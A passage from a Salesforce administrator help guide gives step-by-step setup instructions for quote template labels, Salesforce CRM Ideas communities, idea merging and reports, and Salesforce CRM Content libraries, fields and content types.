3. Use the underscore key to create a line after each label. 4. Click OK. Hiding Field Labels You can show field content without labels in quote template sections, headers, and footers. Just click and select the Hide checkbox. Field names appear in gray on the quote template editor, but they don't appear on quote PDFs. Click Save and Preview to see how PDFs will look. Sandbox Restrictions for Quote Templates If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

See Also:
Force.com Sandbox Setup Tips and Considerations

SETTING UP IDEAS
Managing Salesforce CRM Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Salesforce CRM Ideas communities: Customize Application

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion box that includes discussions and popularity rankings for any subject. Communities help organize ideas and questions into logical groups with each community having its own focus and unique ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can have up to 50 communities shared between ideas and answers. You can display an Ideas community to internal Salesforce users, Customer Portal or partner portal users, or to public users (requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the Salesforce CRM Ideas Implementation Guide. As an administrator, you can: Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce CRM Ideas Settings on page 1335. Create a new community. See Creating and Editing Communities on page 1434.

1334

Customize

Customizing Salesforce CRM Ideas Settings

Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status Fields on page 1341. Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1345. Make idea reports available to your users. See Setting Up Idea Reports on page 1346. Customize idea search layouts. See Customizing Search Layouts on page 1216 and Searching for Ideas on page 2933. Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1339. Assign a status to an idea. See Posting and Editing Ideas on page 2926. Delete a vote through the API to erase all history that the vote ever occurred. Specifically, deleting a vote does the following: Removes 10 points from the idea's overall score. Removes the user's name from the Last 100 Votes section on the idea's detail page. For more information, refer to the delete() call in the Web Services API Developer's Guide .

See Also:
Ideas Overview Tips on Using Salesforce CRM Ideas Enabling Salesforce CRM Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

Customizing Salesforce CRM Ideas Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Salesforce CRM Ideas settings: Customize Application

To manage organization-wide settings for Salesforce CRM Ideas: 1. Click Your Name > Setup > Customize > Ideas > Settings. 2. Click Edit. 3. Use the Enable Ideas checkbox to enable or disable Salesforce CRM Ideas for your organization. Enabling Salesforce CRM Ideas displays the Ideas tab in the Community application and shows active communities on the Ideas tab. Disabling Salesforce CRM Ideas removes the Ideas tab from the Community app. Users will no longer be able to access active communities, but these communities will reappear on the Ideas tab the next time you enable Salesforce CRM Ideas. 4. Optionally, select Enable Text-Formatting, Images and Links to enable the Salesforce CRM Ideas HTML editor, which gives users WYSIWYG HTML editing and image referencing capabilities when they post or comment on ideas. For more information, see Tips for Using the HTML Editor on page 2933.

1335

Customize

Communities Home

Caution: Once you enable the Salesforce CRM Ideas HTML editor, you cannot disable it. If you do not see the Enable Text-Formatting, Images and Links checkbox, the Salesforce CRM Ideas HTML editor is enabled for your organization by default. 5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located below the Categories message at the top of the page. This button is not displayed if your organization already has the Categories field enabled. For more information, refer to Enabling the Categories Field on page 1342. If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled, you cannot disable it. 6. In the Half-Life (in Days) field, enter a number of days. The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life. Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your changes after enabling ideas, and then click Edit on the Ideas Settings page. 7. Click Save.

See Also:
Ideas Overview Managing Salesforce CRM Ideas Administrator setup guide: Salesforce Ideas Implementation Guide

Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

Communities help organize ideas and questions into logical groups with each community having its own focus and unique ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can have up to 50 communities shared between ideas and answers. Note: If you need more than 50 communities, contact salesforce.com.

You can display a community to the following types of users:

1336

Customize

Creating and Editing Communities

Internal Salesforce users only. Salesforce users can access all communities regardless of whether the community is internal-only or displayed in a portal. Customer Portal or partner portal users. Public users (requires setting up a Force.com Site). Note: You cannot use Salesforce sharing rules to restrict access to communities. When you create a community, you can restrict access by selecting the portal where the community should appear. Only the users assigned to that portal (and internal Salesforce users) will be able to access that community unless you expose it publicly using Force.com sites.

To display a list of the existing communities, along with general information about each one, click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities. Communities are shared by the ideas and answers features, allowing you to view and create communities from either location. From the Communities page you can: Create a new community or edit an existing community. View the details of a community by clicking the community name.

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

To create a new community or edit the details of an existing community: 1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities. Communities are shared by the ideas and answers features, allowing you to view and create communities from either location. 2. Click Edit next to the community you want to change or New to create a new community. 3. Enter a unique name for your community. This name displays to all community members so use a name that clearly identifies the community's purpose. For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users go to the Ideas tab. Answers can only have one community displayed at a time. 4. Optionally, enter a description in plain text. HTML and other markup languages are not supported. 5. Select the Active checkbox to display the community to your ideas and answers users.

1337

Customize

Creating and Editing Communities

You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers. To make a community available from answers, enable answers and assign the default community. 6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For information on creating public groups, see Creating and Editing Groups on page 555. Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in Portal. To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using Force.com sites. Answers communities do not support Force.com sites. When you display a community in a portal, (External) is appended to the community name. Communities that aren't displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External). 8. Click Save. Community Expert Overview A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization. When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community members can easily identify credible information within the community. The Salesforce administrator can designate as many community experts as necessary. Before you select a public group to be community experts, note the following: A community expert can be an employee of your organization who is responsible for providing official responses to the community, or a community expert can be someone outside your organization who is active within the community and knowledgeable about the subject matter. The only difference between a community expert and other community members is the unique icon that displays next to the community expert's name. Community experts do not have any extra permissions beyond what is specified in their user profile and permission sets. Community experts must be part of a public group and that public group must be specified in the Experts Group drop-down list. You may need to create a public group for each community if the experts within those communities are different. If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your portal and use the expertUserBadge class to reference the new background image for the community expert. We recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner Portals on page 3054 and Enabling Customer Portal Login and Settings on page 1545.

See Also:
Selecting Picklist Values and Defaults for a Community Communities Home Enabling Salesforce CRM Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

1338

Customize

Merging Ideas

Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To merge multiple ideas: Edit on ideas

Overview As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to merge duplicate ideas together so one idea becomes the master to one or more child ideas. Note the following about merging ideas: All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded. Once you merge ideas they cannot be separated. Users can only vote for and add comments to a master idea. Child ideas become read-only. You cannot merge ideas in separate communities. Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually. The master idea does not inherit the status and category values of its child ideas. When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any other pages in a community member's Recent Activity.

Merging Ideas To locate duplicate ideas and merge them together: 1. On the Ideas tab, click the title of an idea that you want to merge. 2. On the idea's detail page, click Find Duplicates. Salesforce searches all the ideas within the community and displays the five ideas with titles that most closely match the current idea's title. 3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for Duplicates field and click Search. Salesforce displays a new list of possible duplicate ideas. 4. From the Possible Duplicates list, select the ideas that you want to merge. To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search results. 5. Click Merge with Current Idea. 6. Select the idea that you want to be the master idea, and click Merge.

1339

Customize

Tips on Using Salesforce CRM Ideas

7. Click OK to complete the merge.

See Also:
Searching for Ideas Viewing Ideas Posting and Editing Ideas Deleting Ideas

Tips on Using Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Ideas tab: To view and vote for ideas: To create ideas and add comments to ideas: To edit ideas and edit comments on ideas: To create communities: Read on ideas Read on ideas Create on ideas Edit on ideas Customize Application

Consider the following information when setting up and using Salesforce CRM Ideas: To monitor the activity of Salesforce CRM Ideas, you can: Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow rule or trigger based on an ideas vote total or vote count. You also cannot create a trigger that inserts or deletes a comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 1640. Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a Custom Report on page 2653. When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot attach a file or add a note to an idea. Master detail relationships are not supported. Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals. Salesforce CRM Ideas does not support custom links. The Ideas detail page does not contain related lists. The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted comments. You cannot create activities and events for Salesforce CRM Ideas. When using standard or custom Idea fields, note the following: History tracking is not supported.

1340

Customize

Defining Picklist Values for the Categories and Status Fields

Field dependencies and roll-up summary fields are not supported. Formula fields are not available for the Community object.

Defining Picklist Values for the Categories and Status Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define picklist values: Customize Application

Overview For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an ideas community and not in an answers community. Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post Ideas page lets users add categories to their ideas. An idea's status helps community members track the progress of the idea. For example, Under Review, Reviewed, Coming Soon, and Now Available are common status values an administrator can define and assign to ideas. An idea's status appears next to the idea's title for all community members to see. Note: If the Category field is displayed (instead of Categories), then your community members can only assign a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on the Your Name > Setup > Customize > Ideas > Settings page. Defining Picklist Values To define picklist values for the Categories and Status standard fields: 1. Click Your Name > Setup > Customize > Ideas > Fields. 2. Click Edit next to the Categories or Status standard field. 3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and replace picklist values. For more information on these tasks, see Updating Picklists on page 966. Note: Once you add picklist values to the Categories or Status field, the field will always require at least one picklist value. This means you can delete picklist values until there is one remaining for the field. 4. 5. 6. 7. Add one or more picklist values (one per line) in the provided text area. Select the communities that you want to include the new picklist values. Click Save. To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community on page 1342.

1341

Customize

Selecting Picklist Values and Defaults for a Community

Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You can only specify a default value from the Community Detail page. 8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field checkbox on the Your Name > Setup > Customize > Ideas > Fields Layout page. Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For more information, see Posting and Editing Ideas on page 2926.

See Also:
Managing Salesforce CRM Ideas Ideas Overview Selecting Picklist Values and Defaults for a Community

Selecting Picklist Values and Defaults for a Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or remove picklist values from a community: Customize Application

After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status Fields on page 1341. To add or remove picklist values from a specific community: 1. 2. 3. 4. 5. 6. 7. Click Your Name > Setup > Customize > Ideas > Communities. Click the name of the community. Click Edit next to the Categories or Status field. To remove a picklist value, select the value from the Selected Values list and click Remove. To add a picklist value to the community, select the value from the Available Values list and click Add. To specify a default value for the field, use the Default drop-down list. Click Save.

See Also:
Creating and Editing Communities

Enabling the Categories Field


1342

Customize

Enabling the Categories Field

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Salesforce CRM Ideas settings: Customize Application

Organizations using the Category field can switch to the multi-select Categories field that allows community members to associate more than one category with an idea. The Category field only allows one category to be associated with an idea. Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field automatically disables the old Category field in Salesforce and the API. When you enable the Categories field, Salesforce automatically does the following: Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that references the Category field. You must manually fix or remove these references before Salesforce allows you to enable the Categories field. Automatically moves all picklist values and search layouts from the old Category field to the new Categories field. Ensures each idea is associated with the appropriate picklist value in the new Categories field. Makes the new Categories field available in Salesforce and the API.

To enable the Categories field: 1. Click Your Name > Setup > Customize > Ideas > Settings. 2. Click Enable located below the Categories message at the top of the page. This button is not displayed if your organization already has the Categories field enabled. Salesforce checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code for references to the Category field and lists any areas where this reference needs to be removed. 3. If you need to remove references to the Category field, click Cancel. Once you have removed the references, try enabling the Categories field again. Note: For validation and workflow rules you must delete the rule or fix the Category reference within the rule. It is not sufficient to deactivate the rule. If you need to delete a custom field that references the Category field, make sure to erase the field after it has been deleted. For more information, see Managing Deleted Custom Fields on page 1012. 4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce to enable the new field. 5. Fix any custom reports that reference the old Category field.

See Also:
Customizing Salesforce CRM Ideas Settings Selecting Picklist Values and Defaults for a Community Defining Picklist Values for the Categories and Status Fields

1343

Customize

Migrating to the Community Application

Migrating to the Community Application


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Salesforce CRM Ideas settings: Customize Application

If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the new Community application. The Community application: Replaces the Ideas application in the Force.com app menu. Includes the Ideas and Answers tabs. Answers is a feature of the Community application that enables users to ask questions and have community members post replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer. Caution: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas tab with all your existing data will still be available in the new Community application. To migrate to the Community application: 1. Click Your Name > Setup > Customize > Ideas > Settings. The Community message appears at the top of the Ideas Settings page. If the Community message does not appear, the Community application is already enabled for your organization. 2. Click Enable below the Community message. Salesforce checks your organization for any custom objects named Community. If such an object exists, you must delete or rename the object before enabling the Community app. 3. Click Enable when Salesforce confirms it's okay to migrate to the Community application.

Customizing Salesforce CRM Ideas Standard and Custom Fields

1344

Customize

Customizing Salesforce CRM Ideas Standard and Custom Fields

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define picklist values: To set field level security: To define or change field validation rules: To create Salesforce CRM Ideas custom fields: Customize Application Customize Application Customize Application Customize Application

Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique requirements: Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the Categories and Status Fields on page 1341. Click the name of a standard or custom field to set field-level security. For more information, see Field-Level Security Overview on page 622. Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 1066. Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post Idea and Idea Detail pages. For more information, see About Custom Fields on page 980.

See Also:
Ideas Overview Customizing Salesforce CRM Ideas Settings

Setting Layouts for Idea Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set the layout of a Salesforce CRM Ideas custom field: Customize Application

When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the bottom of the Post Idea and Idea Detail pages. To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information section. You can also remove a custom field from these pages without permanently deleting the field from the system. To set the layout of a custom Salesforce CRM Ideas field: 1. Click Your Name > Setup > Customize > Ideas > Fields Layout.

1345

Customize

Setting Up Idea Reports

2. Click Edit. 3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of the field in the list. The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the Post Idea and Idea Detail pages. 4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available Fields column and no longer appears on the Post Idea and Idea Detail pages. 5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field checkbox. 6. Click Save.

See Also:
Customizing Fields Defining Picklist Values for the Categories and Status Fields

Setting Up Idea Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments, and votes. Custom report types are the only way to make idea reports available for your usersSalesforce does not provide sample idea reports or a standard report folder for ideas. To create a folder of idea reports for your users: 1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 2736. If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged) ideas will not appear in the report unless you select "A" records may or may not have related "B" records. Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in a report if the Votes object is required. 2. Create a new public folder for idea reports. This step requires the Manage Public Reports permission. For details, see Creating and Editing Folders on page 1232. 3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports folder you created. For details, see Creating a Custom Report on page 2653.

1346

Customize

Workspaces Name Changed to Libraries

After completing these steps, a folder of idea reports will be available to your users on the Reports home page.

See Also:
Ideas Overview Managing Salesforce CRM Ideas

SALESFORCE CRM CONTENT


Workspaces Name Changed to Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Salesforce CRM Content settings: Manage Salesforce CRM Content

Starting with Summer '11, Salesforce CRM Content workspaces are called libraries to make them easier to understand. The workspace functionality hasn't changed, just the name. This change is automatic for existing and new organizations that have Salesforce CRM Content enabled. All instances of workspace are replaced with library throughout the UI and in the online help. Salesforce CRM Content API object names, like ContentWorkspace, remain unchanged. You can change the name library back to workspace or any other name you choose by renaming the tab and field labels.

See Also:
Renaming Tab and Field Labels Creating Libraries

Customizing Salesforce CRM Content

1347

Customize

Customizing Salesforce CRM Content

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete content fields: Manage Content Properties OR Manage Salesforce CRM Content To define or change field validation rules: To create, edit, or delete content types: Customize Application Manage Content Types OR Manage Salesforce CRM Content To create, edit, or delete library permissions: Manage Content Permissions OR Manage Salesforce CRM Content Modify content settings: Manage Salesforce CRM Content

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Click Your Name > Setup > Customize > Salesforce CRM Content to access the following options for customizing Salesforce CRM Content: Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1349. Content FieldsCreate, edit, or delete custom content fields. Custom fields allow users to categorize and define content during the publishing process. Validation RulesCreate, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing content meets the standards you specify before the user can save the content. Content TypesCreate, edit, or delete the content type where content fields are assigned. The content type determines the layout of fields in Salesforce CRM Content. Library PermissionsCreate, edit, or delete library permissions. A library permission determines user privileges within a library. SettingsModify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack creation, or the enhanced document viewer.

1348

Customize

Setting Up Salesforce CRM Content

To create, edit, or delete libraries, assign a new user to a library, or change a user's role in a library, see Managing Libraries on page 263.

See Also:
Creating Libraries Salesforce CRM Content Overview

Setting Up Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete library permissions: Manage Content Permissions OR Manage Salesforce CRM Content To create, edit, or delete content types: Manage Content Types OR Manage Salesforce CRM Content To create content fields: Manage Content Properties OR Manage Salesforce CRM Content To create libraries: Create Libraries OR Manage Salesforce CRM Content To edit or delete libraries: Manage Salesforce CRM Content

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Tip: For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content Implementation Guide. To set up Salesforce CRM Content for your organization:

1349

Customize

Setting Up Salesforce CRM Content

1. Enable Salesforce CRM Content by clicking Your Name > Setup > Customize > Salesforce CRM Content > Settings and selecting Enable Salesforce CRM Content. 2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways: To assign feature licenses to users automatically, click Your Name > Setup > Customize > Salesforce CRM Content > Settings and select Autoassign feature licenses to existing and new users. To assign feature licenses to users manually, click Your Name > Setup > Manage Users > Users and click Edit next to the user's name. Select the Salesforce CRM Content User checkbox and click Save.

3. Verify that the Salesforce CRM Content users have the Salesforce CRM Content user permissions enabled. The user permissions include Manage Salesforce CRM Content, Create Libraries, Manage Content Permissions, Manage Content Properties, Manage Content Types, and Deliver Uploaded Files and Personal Content. For more information about these user permissions, see User Permissions on page 534. Note: Users with the Deliver Uploaded Files and Personal Content user permission can create content deliveries from personal libraries. This user permission does not affect the ability to deliver content from shared libraries. 4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the group to a library rather than assigning several users to the same library individually. See Creating and Editing Groups on page 555. 5. Optionally, create one or more library permissions. Library permissions are the groups of privileges that determine user access within a library. Every user must be assigned a library permission before he or she can use a library. All new organizations contain three library permissions: library administrator, author, and viewer. For more information, see Managing Library Permissions on page 1356. 6. Use the New Library Wizard to create a library, add members to the library, and assign library permissions to the members. See Creating Libraries on page 1364. 7. Categorize and define your content: a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description, Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1351. b. Create a custom content type or modify the General content type. Content types are the containers for custom fields; they determine which fields are available during the publishing process and how the fields display on the content details page. You can create multiple content types and assign a content field to any or all content types. For example, if sales and marketing users need to record different information about their content, you can create Sales and Marketing content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting Content Types on page 1352. 8. Optionally, enable the Add Google Doc to Salesforce service so library members can contribute Google docs to Salesforce CRM Content. See Activating Google Docs in Salesforce on page 303. To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing library permissions, see Customizing Salesforce CRM Content on page 1347.

See Also:
Customizing Content Fields Setting Content Types Managing Library Permissions

1350

Customize

Customizing Content Fields

Customizing Content Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete custom fields: Manage Salesforce CRM Content OR Manage Content Properties

Click Your Name > Setup > Customize > Salesforce CRM Content > Fields to create, modify, and delete Salesforce CRM Content custom fields for categorizing and defining your content. The data assigned to these fields during upload is available on the content details page for the life of the file. After creating custom content fields, you must assign them to a content type. The content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more information, see Setting Content Types on page 1352. To create a custom content field: 1. Click New in the Custom Fields & Relationships related list. If you need to create dependent fields, see Defining Dependent Picklists on page 973. 2. Choose the type of field to create, and click Next. Note: Some data types are only available for certain configurations. For example, the Master-Detail Relationship option is available only for custom objects when the custom object does not already have a master-detail relationship. Also, custom settings only allow a subset of the available data types. Relationship fields count towards custom field limits. Field types not listed in custom field types may appear if your organization installed a package from the AppExchange that uses those custom field types. The Roll-Up Summary option is only available on certain objects. Field types correspond to API data types. For more information, see API Data Types and API Field Types in the Web Services API Developer's Guide.

3. For relationship fields, choose the object that you want to associate with it. 4. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge Fields on page 427.

1351

Customize

Customizing Content Fields

Tip: Ensure that both the custom field name and label are not identical to the name and label of any existing standard or custom field for that object. Identical values may result in unexpected behavior when you reference that name in a merge field. If a standard field and custom field have matching names or labels, the merge field displays the value of the custom field. If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also have a standard field with the label Email, the merge field may not be able to distinguish between the standard and custom field names. Make both the custom field name and label unique by adding a character to each, such as Email2 and Email2__c, respectively. 5. Choose the content type that should display the field as an editable field. 6. For relationship fields, choose whether to create a related list that displays information about the associated records. You can choose to put the related list on any page layouts for that object. To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related List Label. To add the new related list to page layouts that users have already customized, check Append related list to users existing personal customizations. Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You cannot edit or delete the standard content fields. Salesforce stores deleted custom fields and their data until your organization permanently deletes them or 45 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1012.

See Also:
Setting Content Types Customizing Salesforce CRM Content

CONTENT TYPES
Setting Content Types

1352

Customize

Setting Content Types

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete content types: Manage Content Types OR Manage Salesforce CRM Content

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. To work with content types, click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. You can: Click New to create content types; see Creating Content Types on page 1353. Click Edit to edit content types; see Editing Content Types on page 1354. Click Del to delete a content type. Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick values from a predefined list of entries.

When editing a library, you can choose which content types are visible to library contributors. For more information, see Restricting Content Types on page 1367.

See Also:
Customizing Content Fields Customizing Salesforce CRM Content

Creating Content Types

1353

Customize

Creating Content Types

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create content types: Manage Content Types OR Manage Salesforce Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. To create a new content type: 1. Click Your Name > Setup > Customize > Salesforce Content > Content Types. 2. Click the New button, and then optionally choose a content type to copy. Alternatively, select an existing content type from the list of content types, and then click the Clone button. 3. Enter a name for the new content type. 4. Click Save. For instructions on modifying the content type, see Editing Content Types on page 1354. Note: When editing a library, you can choose which content types are visible to library contributors. For more information, see Restricting Content Types on page 1367.

See Also:
Setting Content Types Customizing Content Fields

Editing Content Types

1354

Customize

Editing Content Types

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit content types: Manage Content Types OR Manage Salesforce Content

Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages. To edit a content type: 1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. 2. Identify the content type you want to modify and click Edit. 3. To arrange fields on the content type, select one or more fields from the box on the right and drag them to the desired location. Use CTRL+click to select multiple items individually. Use SHIFT+click to select multiple items as a group. Items that are not in the content type are displayed in the scrolling box on the right-hand side. Note: Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may affect your content type decisions. 4. To make a field required, double-click the field name in the box on the left and click the Required checkbox. Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.

5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.

See Also:
Setting Content Types Creating Content Types

Customizing Content Picklists

1355

Customize

Customizing Content Picklists

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change picklists: Customize Application

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. A picklist is a customized selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content Fields on page 1351. To modify the picklists available on content types: 1. Go to Your Name > Setup > Customize > Salesforce CRM Content > Content Types and click the picklists link. 2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type. 3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to choose from the list of selected values when publishing content or editing content details. 4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist is ignored. 5. Click Save. Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you remove a picklist value from the master, it is no longer available when publishing new content; however, existing content assigned to that value is unchanged.

See Also:
Setting Content Types Editing Content Types Customizing Content Fields

LIBRARIES
Managing Library Permissions

1356

Customize

Managing Library Permissions

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

